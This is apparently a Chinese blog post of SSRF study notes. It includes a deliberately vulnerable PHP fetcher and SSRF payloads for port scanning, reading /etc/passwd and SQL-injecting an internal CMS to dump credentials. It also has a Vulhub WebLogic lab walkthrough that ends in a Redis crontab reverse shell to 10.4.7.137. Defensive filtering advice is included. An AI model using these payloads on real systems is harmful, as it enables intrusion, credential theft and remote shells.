ssrf学习笔记总结

SSRF概述

​ 服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

​ 如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

​ SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

SSRF 场景

php实现

利用curl 实现,需要PHP 扩展组件curl 支持。

// ssrf_curl.php
if(isset($_REQUEST['url'])){
     $link = $_REQUEST['url'];
     $fileName = './curled/'.time().".txt";
     $curlObj = curl_init($link);
     $fp = fopen($fileName,'w');

     curl_setopt($curlObj,CURLOPT_FILE,$fp);
     curl_setopt($curlObj,CURLOPT_HEADER,0);
     curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

     curl_exec($curlObj);
     curl_close($curlObj);
     fclose($fp);

     if(getimagesize($fileName)){
     header("Content-Type:image/png");
     }
      $fp = fopen($fileName,'r');
     $result = fread($fp,filesize($fileName));
     fclose($fp);
     echo $result;
}else{
 echo "?url=[url]";
}

SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

SSRF危害

  • 端口扫描;

  • 内网Web 应用指纹识别;

  • 攻击内网应用;

  • 读取本地文件;

SSRF攻防

SSRF利用

文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\www\phpMyAdmin">
 #Order allow,deny
 Order deny,allow
 deny from all
 allow from 127.0.0.1
</Directory>

内网应用指纹识别

?url=http://127.0.0.1/phpmyadmin/readme

攻击内网web应用

内网安全通常都很薄弱。

<Directory "c:\www\cms">
 #Order allow,deny
 Order deny,allow
 deny from all
 allow from 127.0.0.1
</Directory>

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

SSRF实例

https://vulhub.org/#/environments/weblogic/ssrf/

判断ssrf漏洞

访问

http://10.4.7.137:7001/uddiexplorer/

image-20231117144443232

漏洞存在于http://10.4.7.137:7001/uddiexplorer/SearchPublicRegistries.jsp

提交搜索并抓包

将此处url解码

image-20231117150146479

点击send发送

获取response,然后右键response发送给compare

image-20231117150311468

然后将url修改为百度,再次重复操作

image-20231117151225241

修改url后伪造服务器请求资源,并且收到response,即存在ssrf

探查内网端口开放情况

端口开放时,会返回404相关错误,虽然没有目录,但是能访问服务器

image-20231117151545430

使用localhost也可以

image-20231117151659744

端口未开放时则返回无法连接类错误

image-20231117151838296

探查内网ip

由于已知7001端口开放,因此可以用该端口探测内网中存活的ip

不存在时即返回无法连接

image-20231117152133486

探测内网地址可以使用爆破

从ssrf利用到redis未授权访问

由于这是容器,看一下redis的端口

image-20231117152730010

docker环境的网段一般是172

此处直接看一下配置文件看看ip

sudo docker ps -a

image-20231117160254922

sudo docker exec -it 8 /bin/bash

这个就是ip

image-20231117160340335

验证一下开放没

image-20231117160553260

发现开放

从redis未授权访问到getshell

将脚本写进去

set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/10.4.7.137/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

圈圈的地方要修改监听ip和监听端口

image-20231117161732114

将脚本文件url编码send,等待一会收到shell

image-20231117161645983

image-20231117161602941

SSRF防御

过滤输入

  • 限制协议,仅允许 http 或 https 协议;(防止使用gopher协议)

  • 限制IP,避免应用被用来获取内网数据,攻击内网;

  • 限制端口,限制请求端口为常用端口。

过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;

  • 统一错误信息,让攻击无法对内网信息进行判断。

SSRF挖掘

web功能url关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
ctfhub是一个CTF训练平台,提供了多个CTF挑战模块,其中包括了SSRF模块。SSRF(Server-Side Request Forgery)是一种攻击技术,可以利用服务器端请求伪造漏洞来发送恶意请求。在ctfhub的SSRF模块中,你可以学习和实践SSRF攻击技术,并利用平台上提供的漏洞来进行实验。 在SSRF中,有一个重要的点是请求可能会跟随302跳转。你可以尝试利用这个来绕过对IP的检测,访问位于127.0.0.1的flag.php文件,从而获取敏感信息。 此外,在SSRF中还可以使用Gopher协议来攻击内网的服务,例如Redis、Mysql、FastCGI、Ftp等等,并发送GET和POST请求。Gopher协议可以说是SSRF中的万金油,大大拓宽了SSRF的攻击面。你可以构造类似于"/?url=file:///var/www/html/flag.php"的本地地址来尝试攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [network-security:学习web安全练习的靶场,以及总结的思维导图和笔记](https://download.youkuaiyun.com/download/weixin_42118423/15763452)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [CTFHub—SSRF](https://blog.youkuaiyun.com/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [CTFHUB--SSRF详解](https://blog.youkuaiyun.com/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值